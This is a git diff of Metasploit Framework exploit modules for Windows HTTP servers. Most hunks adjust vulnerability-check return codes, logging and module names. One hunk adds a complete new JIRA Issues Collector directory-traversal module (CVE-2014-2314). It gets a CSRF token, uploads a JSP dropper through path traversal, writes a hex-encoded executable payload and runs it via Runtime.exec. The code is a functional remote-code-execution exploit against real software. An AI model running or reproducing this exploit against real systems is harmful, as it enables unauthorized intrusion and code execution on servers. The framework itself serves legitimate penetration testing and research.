-      print_status("Vulnerable server: #{response['Server']}")
-    else
-      print_status("Server is probably not vulnerable: #{response['Server']}")
-    end
+    vprint_status("Server: #{response['Server']}")
 
     return code
   end
diff --git a/modules/exploits/windows/http/apache_modjk_overflow.rb b/modules/exploits/windows/http/apache_modjk_overflow.rb
index c1ffa289ee..b8f8d6c4ed 100644
--- a/modules/exploits/windows/http/apache_modjk_overflow.rb
+++ b/modules/exploits/windows/http/apache_modjk_overflow.rb
@@ -60,8 +60,8 @@ class Metasploit3 < Msf::Exploit::Remote
     resp = sock.get_once
     disconnect
 
-      if (resp and (m = resp.match(/Server: Apache\/(.*) \(Win32\)(.*) mod_jk\/1.2.20/))) then
-        print_status("Apache version detected : #{m[1]}")
+      if (resp and (m = resp.match(/Server: Apache\/(.*) \(Win32\)(.*) mod_jk\/1\.2\.20/))) then
+        vprint_status("Apache version detected : #{m[1]}")
         return Exploit::CheckCode::Appears
       else
         return Exploit::CheckCode::Safe
diff --git a/modules/exploits/windows/http/badblue_ext_overflow.rb b/modules/exploits/windows/http/badblue_ext_overflow.rb
index 290fea3f54..bbf9ac4435 100644
--- a/modules/exploits/windows/http/badblue_ext_overflow.rb
+++ b/modules/exploits/windows/http/badblue_ext_overflow.rb
@@ -52,7 +52,7 @@ class Metasploit3 < Msf::Exploit::Remote
   def check
     info = http_fingerprint  # check method
     if (info =~ /BadBlue\/2\.5/)
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Appears
     end
     Exploit::CheckCode::Safe
   end
diff --git a/modules/exploits/windows/http/bea_weblogic_post_bof.rb b/modules/exploits/windows/http/bea_weblogic_post_bof.rb
index a86071c0c2..c3b57dcdaf 100644
--- a/modules/exploits/windows/http/bea_weblogic_post_bof.rb
+++ b/modules/exploits/windows/http/bea_weblogic_post_bof.rb
@@ -89,7 +89,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
     case fingerprint
     when /Version found/
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Appears
     when /BEA WebLogic connector vulnerable/
       return Exploit::CheckCode::Appears
     when /BEA WebLogic connector undefined/
diff --git a/modules/exploits/windows/http/cyclope_ess_sqli.rb b/modules/exploits/windows/http/cyclope_ess_sqli.rb
index 4e415858c6..7c9ee042fe 100644
--- a/modules/exploits/windows/http/cyclope_ess_sqli.rb
+++ b/modules/exploits/windows/http/cyclope_ess_sqli.rb
@@ -60,17 +60,15 @@ class Metasploit3 < Msf::Exploit::Remote
     path = File.dirname("#{target_uri.path}/.")
     b64_version = get_version(path)
     if b64_version.empty?
-      print_error("#{peer} - Unable to determine the version number")
+      vprint_error("#{peer} - Unable to determine the version number")
     else
       b64_version = Rex::Text.decode_base64(b64_version)
       if b64_version =~ /^[0-6]\.1/
-        return Exploit::CheckCode::Vulnerable
-      else
-        return Exploit::CheckCode::Safe
+        return Exploit::CheckCode::Appears
       end
     end
 
-    return Exploit::CheckCode::Unknown
+    return Exploit::CheckCode::Safe
   end
 
 
diff --git a/modules/exploits/windows/http/desktopcentral_file_upload.rb b/modules/exploits/windows/http/desktopcentral_file_upload.rb
index d790b28ccb..7ddae4d011 100644
--- a/modules/exploits/windows/http/desktopcentral_file_upload.rb
+++ b/modules/exploits/windows/http/desktopcentral_file_upload.rb
@@ -69,7 +69,7 @@ class Metasploit3 < Msf::Exploit::Remote
       build = $1
       print_status("Manage Desktop Central 8 build #{build} found")
       if build < "80293"
-        return Exploit::CheckCode::Vulnerable
+        return Exploit::CheckCode::Appears
       else
         return Exploit::CheckCode::Safe
       end
diff --git a/modules/exploits/windows/http/easyftp_list.rb b/modules/exploits/windows/http/easyftp_list.rb
index bd72a06f5c..dd0e8b0ec3 100644
--- a/modules/exploits/windows/http/easyftp_list.rb
+++ b/modules/exploits/windows/http/easyftp_list.rb
@@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'EasyFTP Server <= 1.7.0.11 list.html path Stack Buffer Overflow',
+      'Name'           => 'EasyFTP Server list.html path Stack Buffer Overflow',
       'Description'    => %q{
           This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11
         and earlier. EasyFTP fails to check input size when parsing the 'path' parameter
@@ -77,8 +77,8 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def check
     info = http_fingerprint  # check method
-    if info and (info =~ /Easy-Web Server\//)
-      return Exploit::CheckCode::Vulnerable
+    if info and (info =~ /Easy\-Web Server\//)
+      return Exploit::CheckCode::Detected
     end
     Exploit::CheckCode::Safe
   end
diff --git a/modules/exploits/windows/http/ezserver_http.rb b/modules/exploits/windows/http/ezserver_http.rb
index 46be1bb2c6..39384c313f 100644
--- a/modules/exploits/windows/http/ezserver_http.rb
+++ b/modules/exploits/windows/http/ezserver_http.rb
@@ -14,11 +14,13 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'EZHomeTech EzServer <= 6.4.017 Stack Buffer Overflow Vulnerability',
+      'Name'           => 'EZHomeTech EzServer Stack Buffer Overflow Vulnerability',
       'Description'    => %q{
-        This module exploits a stack buffer overflow in the EZHomeTech EZServer. If a malicious
-        user sends packets containing an overly long string, it may be possible to execute a
-        payload remotely. Due to size constraints, this module uses the Egghunter technique.
+        This module exploits a stack buffer overflow in the EZHomeTech EZServer
+        for versions 6.4.017 and earlier. If a malicious user sends packets
+        containing an overly long string, it may be possible to execute a
+        payload remotely. Due to size constraints, this module uses the
+        Egghunter technique.
       },
       'License'        => MSF_LICENSE,
       'Author'         =>
diff --git a/modules/exploits/windows/http/hp_imc_bims_upload.rb b/modules/exploits/windows/http/hp_imc_bims_upload.rb
index 4766b4e4a6..334185a104 100644
--- a/modules/exploits/windows/http/hp_imc_bims_upload.rb
+++ b/modules/exploits/windows/http/hp_imc_bims_upload.rb
@@ -61,12 +61,13 @@ class Metasploit3 < Msf::Exploit::Remote
     })
 
     if res.nil?
-      print_error("Unable to determine, because the request timed out.")
+      vprint_error("Unable to determine, because the request timed out.")
       return Exploit::CheckCode::Unknown
     end
 
     if res.code == 200 and res.headers['Content-Type'] =~ /application\/doc/ and res.body =~ /com\.h3c\.imc\.bims\.acs\.server\.UploadServlet/
-      return Exploit::CheckCode::Vulnerable
+      vprint_status("Upload interface found. Must be tested to verify vulnerable state.")
+      return Exploit::CheckCode::Appears
     elsif res.code == 405 and res.message =~ /Method Not Allowed/
       return Exploit::CheckCode::Appears
     end
diff --git a/modules/exploits/windows/http/hp_imc_mibfileupload.rb b/modules/exploits/windows/http/hp_imc_mibfileupload.rb
index 46bc7f86a2..8f79d805b8 100644
--- a/modules/exploits/windows/http/hp_imc_mibfileupload.rb
+++ b/modules/exploits/windows/http/hp_imc_mibfileupload.rb
@@ -80,9 +80,7 @@ class Metasploit3 < Msf::Exploit::Remote
     post_data = Rex::MIME::Message.new
     post_data.add_part(zip.pack, "application/octet-stream", nil, "form-data; name=\"#{Rex::Text.rand_text_alpha(4+rand(4))}\"; filename=\"#{Rex::Text.rand_text_alpha(4+rand(4))}.zip\"")
 
-    # Work around an incompatible MIME implementation
     data = post_data.to_s
-    data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part")
 
     print_status("#{peer} - Uploading the JSP payload...")
     res = send_request_cgi({
diff --git a/modules/exploits/windows/http/hp_loadrunner_copyfiletoserver.rb b/modules/exploits/windows/http/hp_loadrunner_copyfiletoserver.rb
index e9e4017905..45369d96d4 100644
--- a/modules/exploits/windows/http/hp_loadrunner_copyfiletoserver.rb
+++ b/modules/exploits/windows/http/hp_loadrunner_copyfiletoserver.rb
@@ -105,7 +105,7 @@ class Metasploit3 < Msf::Exploit::Remote
     depth = datastore['DEPTH']
     install_path = datastore['INSTALLPATH']
 
-    print_status("#{peer} - Detecting tomcat version...")
+    vprint_status("#{peer} - Detecting tomcat version...")
     tomcat_version = get_tomcat_version
 
     if tomcat_version
@@ -118,19 +118,19 @@ class Metasploit3 < Msf::Exploit::Remote
       res = read_file(depth, location, "index.jsp")
 
       if res and res.code == 200  and res.body.to_s =~ /HP Service Emulation/
-        print_good("#{peer} - Traversal exists and parameters are correct...")
+        vprint_good("#{peer} - Traversal exists and parameters are correct...")
         return Exploit::CheckCode::Vulnerable
       elsif res and res.code == 500 and res.body.to_s =~ /FileNotFoundException/
-        print_warning("#{peer} - Traversal appears to exist, try adjusting parameters DEPTH and INSTALLPATH...")
+        vprint_warning("#{peer} - Traversal appears to exist, try adjusting parameters DEPTH and INSTALLPATH...")
         return Exploit::CheckCode::Appears
       else
-        print_status("#{peer} - Failed to verify the directory traversal...")
+        vprint_status("#{peer} - Failed to verify the directory traversal...")
       end
     else
-      print_error("#{peer} - Tomcat version not detected...")
+      vprint_error("#{peer} - Tomcat version not detected...")
     end
 
-    print_status("#{peer} - Checking if the vulnerable web service and method exist...")
+    vprint_status("#{peer} - Checking if the vulnerable web service and method exist...")
     res = send_request_cgi({
       'uri'    => normalize_uri('ServiceEmulation', 'services', 'EmulationAdmin'),
       'vars_get' => { 'wsdl' => 1 }
diff --git a/modules/exploits/windows/http/hp_mpa_job_acct.rb b/modules/exploits/windows/http/hp_mpa_job_acct.rb
index 34debef77c..328958edbb 100644
--- a/modules/exploits/windows/http/hp_mpa_job_acct.rb
+++ b/modules/exploits/windows/http/hp_mpa_job_acct.rb
@@ -161,7 +161,6 @@ class Metasploit3 < Msf::Exploit::Remote
     post_data.add_part("upload", nil, nil, "form-data; name=\"upload\"")
     post_data.add_part(contents, "application/octet-stream", "binary", "form-data; name=\"uploadfile\"; filename=\"..\\../../wwwroot#{location}\x00.tmp\"")
     data = post_data.to_s
-    data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part")
 
     res = send_request_cgi({
       'uri'      => normalize_uri("hpmpa", "jobAcct", "Default.asp"),
diff --git a/modules/exploits/windows/http/hp_nnm_ovas.rb b/modules/exploits/windows/http/hp_nnm_ovas.rb
index c2f655aa13..86e4ba4890 100644
--- a/modules/exploits/windows/http/hp_nnm_ovas.rb
+++ b/modules/exploits/windows/http/hp_nnm_ovas.rb
@@ -183,11 +183,11 @@ class Metasploit3 < Msf::Exploit::Remote
 
     resp = send_request_raw({'uri' => '/topology/home'}, 5)
     if resp.nil?
-      print_status("No response to request")
-      return Exploit::CheckCode::Safe
+      vprint_status("No response to request")
+      return Exploit::CheckCode::Unknown
     end
 
-    if (resp.body =~ /NNM Release B.07.53/ || resp.body =~ /NNM Release B.07.52/ || resp.body =~ /NNM Release B.07.51/)
+    if (resp.body =~ /NNM Release B\.07\.53/ || resp.body =~ /NNM Release B\.07\.52/ || resp.body =~ /NNM Release B\.07\.51/)
       return Exploit::CheckCode::Appears
     end
 
diff --git a/modules/exploits/windows/http/hp_nnm_ovbuildpath_textfile.rb b/modules/exploits/windows/http/hp_nnm_ovbuildpath_textfile.rb
index 45dbf51476..bc072cbaa6 100644
--- a/modules/exploits/windows/http/hp_nnm_ovbuildpath_textfile.rb
+++ b/modules/exploits/windows/http/hp_nnm_ovbuildpath_textfile.rb
@@ -98,7 +98,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
     # Use the system path for executable to run except the wordpad
     if client.sys.config.sysinfo["OS"] =~ /Windows XP/
-      windir = client.fs.file.expand_path("%ProgramFiles%")
+      windir = client.sys.config.getenv('ProgramFiles')
       cmd="#{windir}\\Windows NT\\Accessories\\wordpad.exe"
     else # Windows 2000
         cmd = "notepad.exe"
diff --git a/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb b/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb
index 4d09755a4b..8576f61af7 100644
--- a/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb
+++ b/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb
@@ -96,7 +96,6 @@ class Metasploit3 < Msf::Exploit::Remote
     post_message.add_part("{\"importPasswd\":\"#{rand_password}\"}", nil, nil, "form-data; name=\"cert_data\"")
     post_message.add_part("importCertificate", nil, nil, "form-data; name=\"cert_action\"")
     data = post_message.to_s
-    data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part")
 
     res = send_request_cgi(
       {
diff --git a/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb b/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb
index 3a6e09fca2..9760eb874e 100644
--- a/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb
+++ b/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb
@@ -94,7 +94,6 @@ class Metasploit3 < Msf::Exploit::Remote
     post_message.add_part("{}", nil, nil, "form-data; name=\"ad_data\"")
     post_message.add_part("add", nil, nil, "form-data; name=\"ad_action\"")
     data = post_message.to_s
-    data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part")
 
     res = send_request_cgi(
       {
diff --git a/modules/exploits/windows/http/httpdx_handlepeer.rb b/modules/exploits/windows/http/httpdx_handlepeer.rb
index ddc21fc8d5..157598b3e9 100644
--- a/modules/exploits/windows/http/httpdx_handlepeer.rb
+++ b/modules/exploits/windows/http/httpdx_handlepeer.rb
@@ -87,7 +87,7 @@ class Metasploit3 < Msf::Exploit::Remote
   def check
     info = http_fingerprint  # check method
     if info and (info =~ /httpdx\/(.*) \(Win32\)/)
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Detected
     end
     Exploit::CheckCode::Safe
   end
diff --git a/modules/exploits/windows/http/httpdx_tolog_format.rb b/modules/exploits/windows/http/httpdx_tolog_format.rb
index ad74759f42..5569903845 100644
--- a/modules/exploits/windows/http/httpdx_tolog_format.rb
+++ b/modules/exploits/windows/http/httpdx_tolog_format.rb
@@ -137,7 +137,7 @@ For now, that will have to be done manually.
     if version
       print_status("HTTPDX version detected : #{version}")
       if (version =~ /1\.4/) or (version == "1.5")
-        return Exploit::CheckCode::Vulnerable
+        return Exploit::CheckCode::Appears
       end
     end
     Exploit::CheckCode::Safe
diff --git a/modules/exploits/windows/http/icecast_header.rb b/modules/exploits/windows/http/icecast_header.rb
index dea3fccae3..57d5e6ab8f 100644
--- a/modules/exploits/windows/http/icecast_header.rb
+++ b/modules/exploits/windows/http/icecast_header.rb
@@ -12,23 +12,20 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Icecast (<= 2.0.1) Header Overwrite (win32)',
+      'Name'           => 'Icecast Header Overwrite',
       'Description'    => %q{
-          This module exploits a buffer overflow in the header parsing
-        of icecast, discovered by Luigi Auriemma.  Sending 32 HTTP
-        headers will cause a write one past the end of a pointer
-        array.  On win32 this happens to overwrite the saved
-        instruction pointer, and on linux (depending on compiler,
-        etc) this seems to generally overwrite nothing crucial (read
-        not exploitable).
-
-        !! This exploit uses ExitThread(), this will leave icecast
-        thinking the thread is still in use, and the thread counter
-        won't be decremented.  This means for each time your payload
-        exits, the counter will be left incremented, and eventually
-        the threadpool limit will be maxed.  So you can multihit,
-        but only till you fill the threadpool.
+        This module exploits a buffer overflow in the header parsing of icecast
+        versions 2.0.1 and earlier, discovered by Luigi Auriemma. Sending 32
+        HTTP headers will cause a write one past the end of a pointer array. On
+        win32 this happens to overwrite the saved instruction pointer, and on
+        linux (depending on compiler, etc) this seems to generally overwrite
+        nothing crucial (read not exploitable).
 
+        This exploit uses ExitThread(), this will leave icecast thinking the
+        thread is still in use, and the thread counter won't be decremented.
+        This means for each time your payload exits, the counter will be left
+        incremented, and eventually the threadpool limit will be maxed. So you
+        can multihit, but only till you fill the threadpool.
       },
       'Author'         => [ 'spoonm', 'Luigi Auriemma <aluigi[at]autistici.org>' ],
       'License'        => MSF_LICENSE,
diff --git a/modules/exploits/windows/http/intrasrv_bof.rb b/modules/exploits/windows/http/intrasrv_bof.rb
index 71cbf47bb7..c7bb9bd174 100644
--- a/modules/exploits/windows/http/intrasrv_bof.rb
+++ b/modules/exploits/windows/http/intrasrv_bof.rb
@@ -73,8 +73,8 @@ class Metasploit3 < Msf::Exploit::Remote
     sock.put("GET / HTTP/1.0\r\n\r\n")
     res = sock.get_once
 
-    if res =~ /intrasrv 1.0/
-      return Exploit::CheckCode::Vulnerable
+    if res =~ /intrasrv 1\.0/
+      return Exploit::CheckCode::Appears
     else
       return Exploit::CheckCode::Safe
     end
diff --git a/modules/exploits/windows/http/jira_collector_traversal.rb b/modules/exploits/windows/http/jira_collector_traversal.rb
new file mode 100644
index 0000000000..8279879703
--- /dev/null
+++ b/modules/exploits/windows/http/jira_collector_traversal.rb
@@ -0,0 +1,209 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = NormalRanking
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::EXE
+  include Msf::Exploit::FileDropper
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'        => 'JIRA Issues Collector Directory Traversal',
+      'Description' => %q{
+        This module exploits a directory traversal flaw in JIRA 6.0.3. The vulnerability exists
+        in the issues collector code, while handling attachments provided by the user. It can be
+        exploited in Windows environments to get remote code execution. This module has been tested
+        successfully on JIRA 6.0.3 with Windows 2003 SP2 Server.
+      },
+      'Author'       =>
+        [
+          'Philippe Arteau', # Vulnerability Discovery
+          'juan vazquez' # Metasploit module
+        ],
+      'License'     => MSF_LICENSE,
+      'References'  =>
+        [
+          [ 'CVE', '2014-2314'],
+          [ 'OSVDB', '103807' ],
+          [ 'BID', '65849' ],
+          [ 'URL', 'https://confluence.atlassian.com/display/JIRA/JIRA+Security+Advisory+2014-02-26' ],
+          [ 'URL', 'http://blog.h3xstream.com/2014/02/jira-path-traversal-explained.html' ]
+        ],
+      'Privileged'  => true,
+      'Platform'    => 'win',
+      'Targets'     =>
+        [
+          [ 'Jira 6.0.3 / Windows 2003 SP2',
+            {
+              'Arch' => ARCH_X86,
+              'Platform' => 'win'
+            }
+          ]
+        ],
+      'DefaultTarget'  => 0,
+      'DisclosureDate' => 'Feb 26 2014'))
+
+    register_options(
+      [
+        Opt::RPORT(8080),
+        OptString.new('TARGETURI', [true, 'Path to JIRA', '/']),
+        OptInt.new('COLLECTOR', [true, 'Collector ID'])
+      ], self.class)
+
+    register_advanced_options(
+      [
+        # By default C:\Program Files\Atlassian\JIRA\atlassian-jira\QhVRutsh.jsp
+        OptString.new('JIRA_PATH', [true, 'Path to the JIRA web folder from the Atlassian installation directory', "JIRA\\atlassian-jira"]),
+        # By default file written to C:\Program Files\Atlassian\Application Data\JIRA\caches\tmp_attachments\$random_\, we want to traversal until 'Atlassian'
+        OptInt.new('TRAVERSAL_DEPTH', [true, 'Traversal depth', 6])
+      ], self.class)
+  end
+
+  def get_upload_token
+    res = send_request_cgi(
+      {
+        'uri'    => normalize_uri(target_uri.path, "rest", "collectors", "1.0", "tempattachment", datastore['COLLECTOR']),
+        'method' => 'POST',
+        'data'   => rand_text_alpha(10 + rand(10)),
+        'vars_get' =>
+          {
+            'filename' => rand_text_alpha(10 + rand(10))
+          }
+      })
+
+    if res and res.code == 500 and res.body =~ /"token":"(.*)"}/
+      csrf_token = $1
+      @cookie = res.get_cookies
+    else
+      csrf_token = ""
+    end
+
+    return csrf_token
+  end
+
+  def upload_file(filename, contents, csrf_token)
+    traversal = "..\\" * datastore['TRAVERSAL_DEPTH']
+    traversal << datastore['JIRA_PATH']
+
+    res = send_request_cgi(
+      {
+        'uri'    => normalize_uri(target_uri.path, "rest", "collectors", "1.0", "tempattachment", datastore['COLLECTOR']),
+        'method' => 'POST',
+        'data'   => contents,
+        'cookie' => @cookie,
+        'ctype'  => 'text/plain',
+        'vars_get' =>
+          {
+            'filename' => "#{traversal}\\#{filename}",
+            'atl_token' => csrf_token
+          }
+      })
+
+    if res and res.code == 201 and res.body =~ /\{"name":".*#{filename}"/
+      register_files_for_cleanup("..\\..\\#{datastore['JIRA_PATH']}\\#{filename}")
+      register_files_for_cleanup("..\\..\\#{datastore['JIRA_PATH']}\\#{@exe_filename}")
+      return true
+    else
+      print_error("#{peer} - Upload failed...")
+      return false
+    end
+  end
+
+  def upload_and_run_jsp(filename, contents)
+    print_status("#{peer} - Getting a valid CSRF token...")
+    csrf_token = get_upload_token
+    fail_with(Failure::Unknown, "#{peer} - Unable to find the CSRF token") if csrf_token.empty?
+
+    print_status("#{peer} - Exploiting traversal to upload JSP dropper...")
+    upload_file(filename, contents, csrf_token)
+
+    print_status("#{peer} - Executing the dropper...")
+    send_request_cgi(
+      {
+        'uri'    => normalize_uri(target_uri.path, filename),
+        'method' => 'GET'
+      })
+  end
+
+  def check
+    res = send_request_cgi({
+      'uri' => normalize_uri(target_uri.path, 'login.jsp'),
+    })
+
+    if res and res.code == 200 and res.body =~ /<meta name="application-name" content="JIRA" data-name="jira" data-version="([0-9\.]*)">/
+      version = $1
+    else
+      return Exploit::CheckCode::Unknown
+    end
+
+    if version <= "6.0.3"
+      return Exploit::CheckCode::Detected
+    end
+
+    return Exploit::CheckCode::Safe
+  end
+
+  def exploit
+    print_status("#{peer} - Generating EXE...")
+    exe = payload.encoded_exe
+    @exe_filename = Rex::Text.rand_text_alpha(8) + ".exe"
+
+    print_status("#{peer} - Generating JSP dropper...")
+    dropper = jsp_drop_and_execute(exe, @exe_filename)
+    dropper_filename = Rex::Text.rand_text_alpha(8) + ".jsp"
+
+    print_status("#{peer} - Uploading and running JSP dropper...")
+    upload_and_run_jsp(dropper_filename, dropper)
+  end
+
+  # This should probably go in a mixin (by egypt)
+  def jsp_drop_bin(bin_data, output_file)
+    jspraw =  %Q|<%@ page import="java.io.*" %>\n|
+    jspraw << %Q|<%\n|
+    jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|
+
+    jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|
+
+    jspraw << %Q|int numbytes = data.length();\n|
+
+    jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|
+    jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|
+    jspraw << %Q|{\n|
+    jspraw << %Q|  char char1 = (char) data.charAt(counter);\n|
+    jspraw << %Q|  char char2 = (char) data.charAt(counter + 1);\n|
+    jspraw << %Q|  int comb = Character.digit(char1, 16) & 0xff;\n|
+    jspraw << %Q|  comb <<= 4;\n|
+    jspraw << %Q|  comb += Character.digit(char2, 16) & 0xff;\n|
+    jspraw << %Q|  bytes[counter/2] = (byte)comb;\n|
+    jspraw << %Q|}\n|
+
+    jspraw << %Q|outputstream.write(bytes);\n|
+    jspraw << %Q|outputstream.close();\n|
+    jspraw << %Q|%>\n|
+
+    jspraw
+  end
+
+  def jsp_execute_command(command)
+    jspraw =  %Q|<%@ page import="java.io.*" %>\n|
+    jspraw << %Q|<%\n|
+    jspraw << %Q|try {\n|
+    jspraw << %Q|  Runtime.getRuntime().exec("chmod +x #{command}");\n|
+    jspraw << %Q|} catch (IOException ioe) { }\n|
+    jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|
+    jspraw << %Q|%>\n|
+
+    jspraw
+  end
+
+  def jsp_drop_and_execute(bin_data, output_file)
+    jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file)
+  end
+
+end
diff --git a/modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb b/modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb
index 75d737b9d5..a2555db7cc 100644
--- a/modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb
+++ b/modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb
@@ -75,7 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote
     asp  = Msf::Util::EXE.to_exe_asp(exe)
     post_data = Rex::MIME::Message.new
     post_data.add_part(asp, "application/octet-stream", nil, "form-data; name=\"uploadFile\"; filename=\"#{@payload_name}")
-    data = post_data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
+    data = post_data.to_s
 
     print_status("#{peer} - Uploading payload...")
     res = send_request_cgi({
diff --git a/modules/exploits/windows/http/kolibri_http.rb b/modules/exploits/windows/http/kolibri_http.rb
index 43d201dbcb..c4a8f6b566 100644
--- a/modules/exploits/windows/http/kolibri_http.rb
+++ b/modules/exploits/windows/http/kolibri_http.rb
@@ -15,8 +15,10 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Kolibri <= v2.0 HTTP Server HEAD Buffer Overflow',
-      'Description'    => %q{This exploits a stack buffer overflow in version 2 of the Kolibri HTTP server.},
+      'Name'           => 'Kolibri HTTP Server HEAD Buffer Overflow',
+      'Description'    => %q{
+        This exploits a stack buffer overflow in version 2 of the Kolibri HTTP server.
+      },
       'Author'         =>
           [
             'mr_me <steventhomasseeley[at]gmail.com>', # msf
@@ -50,7 +52,7 @@ class Metasploit3 < Msf::Exploit::Remote
   def check
     info = http_fingerprint
     if info and (info =~ /kolibri-2\.0/)
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Appears
     end
     Exploit::CheckCode::Safe
   end
diff --git a/modules/exploits/windows/http/mailenable_auth_header.rb b/modules/exploits/windows/http/mailenable_auth_header.rb
index a695efa0b7..083a250014 100644
--- a/modules/exploits/windows/http/mailenable_auth_header.rb
+++ b/modules/exploits/windows/http/mailenable_auth_header.rb
@@ -48,7 +48,7 @@ class Metasploit3 < Msf::Exploit::Remote
   def check
     info = http_fingerprint  # check method
     if (info =~ /MailEnable/)
-      return Exploit::CheckCode::Appears
+      return Exploit::CheckCode::Detected
     end
     Exploit::CheckCode::Safe
   end
diff --git a/modules/exploits/windows/http/mcafee_epolicy_source.rb b/modules/exploits/windows/http/mcafee_epolicy_source.rb
index 1bb9a52884..29f338de3f 100644
--- a/modules/exploits/windows/http/mcafee_epolicy_source.rb
+++ b/modules/exploits/windows/http/mcafee_epolicy_source.rb
@@ -71,7 +71,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
     banner = sock.get(-1,3)
 
-    if (banner =~ /Spipe\/1.0/)
+    if (banner =~ /Spipe\/1\.0/)
       return Exploit::CheckCode::Appears
     end
     return Exploit::CheckCode::Safe
diff --git a/modules/exploits/windows/http/mdaemon_worldclient_form2raw.rb b/modules/exploits/windows/http/mdaemon_worldclient_form2raw.rb
index 3cfbb9a2a6..7ee2e09574 100644
--- a/modules/exploits/windows/http/mdaemon_worldclient_form2raw.rb
+++ b/modules/exploits/windows/http/mdaemon_worldclient_form2raw.rb
@@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'		=> 'MDaemon <= 6.8.5 WorldClient form2raw.cgi Stack Buffer Overflow',
+      'Name'		=> 'MDaemon WorldClient form2raw.cgi Stack Buffer Overflow',
       'Description'	=> %q{
       This module exploits a stack buffer overflow in Alt-N MDaemon SMTP server for
       versions 6.8.5 and earlier. When WorldClient HTTP server is installed (default),
@@ -72,9 +72,10 @@ class Metasploit3 < Msf::Exploit::Remote
     disconnect
 
     if (banner =~ /WDaemon\/6\.8\.[0-5]/)
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Appears
     end
-      return Exploit::CheckCode::Safe
+
+    return Exploit::CheckCode::Safe
   end
 
   def exploit
diff --git a/modules/exploits/windows/http/miniweb_upload_wbem.rb b/modules/exploits/windows/http/miniweb_upload_wbem.rb
index 8e5a2fb904..c1f0650c45 100644
--- a/modules/exploits/windows/http/miniweb_upload_wbem.rb
+++ b/modules/exploits/windows/http/miniweb_upload_wbem.rb
@@ -71,7 +71,8 @@ class Metasploit3 < Msf::Exploit::Remote
         'uri'     => uri
       })
     rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
-      fail_with(Failure::Unreachable, "#{peer} - Connection failed")
+      vprint_error("Connection failed")
+      return Exploit::CheckCode::Unknown
     end
 
     if !res or res.headers['Server'].empty?
@@ -80,8 +81,7 @@ class Metasploit3 < Msf::Exploit::Remote
       return Exploit::CheckCode::Detected
     end
 
-    return Exploit::CheckCode::Unknown
-
+    return Exploit::CheckCode::Safe
   end
 
   def upload(filename, filedata)
diff --git a/modules/exploits/windows/http/navicopa_get_overflow.rb b/modules/exploits/windows/http/navicopa_get_overflow.rb
index d3b156d697..f0c62c0ef6 100644
--- a/modules/exploits/windows/http/navicopa_get_overflow.rb
+++ b/modules/exploits/windows/http/navicopa_get_overflow.rb
@@ -60,8 +60,8 @@ class Metasploit3 < Msf::Exploit::Remote
     resp = sock.get_once
     disconnect
 
-    if (resp =~ /2.01 11th September/)
-      return Exploit::CheckCode::Vulnerable
+    if (resp =~ /2\.01 11th September/)
+      return Exploit::CheckCode::Appears
     end
     return Exploit::CheckCode::Safe
   end
diff --git a/modules/exploits/windows/http/netdecision_http_bof.rb b/modules/exploits/windows/http/netdecision_http_bof.rb
index 08710c0659..0bd10a55d8 100644
--- a/modules/exploits/windows/http/netdecision_http_bof.rb
+++ b/modules/exploits/windows/http/netdecision_http_bof.rb
@@ -63,7 +63,7 @@ class Metasploit3 < Msf::Exploit::Remote
     res = send_request_cgi({'uri'=>'/'})
     banner = res.headers['Server']
     if banner =~ /NetDecision\-HTTP\-Server\/1\.0/
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Appears
     else
       return Exploit::CheckCode::Safe
     end
diff --git a/modules/exploits/windows/http/novell_mdm_lfi.rb b/modules/exploits/windows/http/novell_mdm_lfi.rb
index 584055c214..545ff7152a 100644
--- a/modules/exploits/windows/http/novell_mdm_lfi.rb
+++ b/modules/exploits/windows/http/novell_mdm_lfi.rb
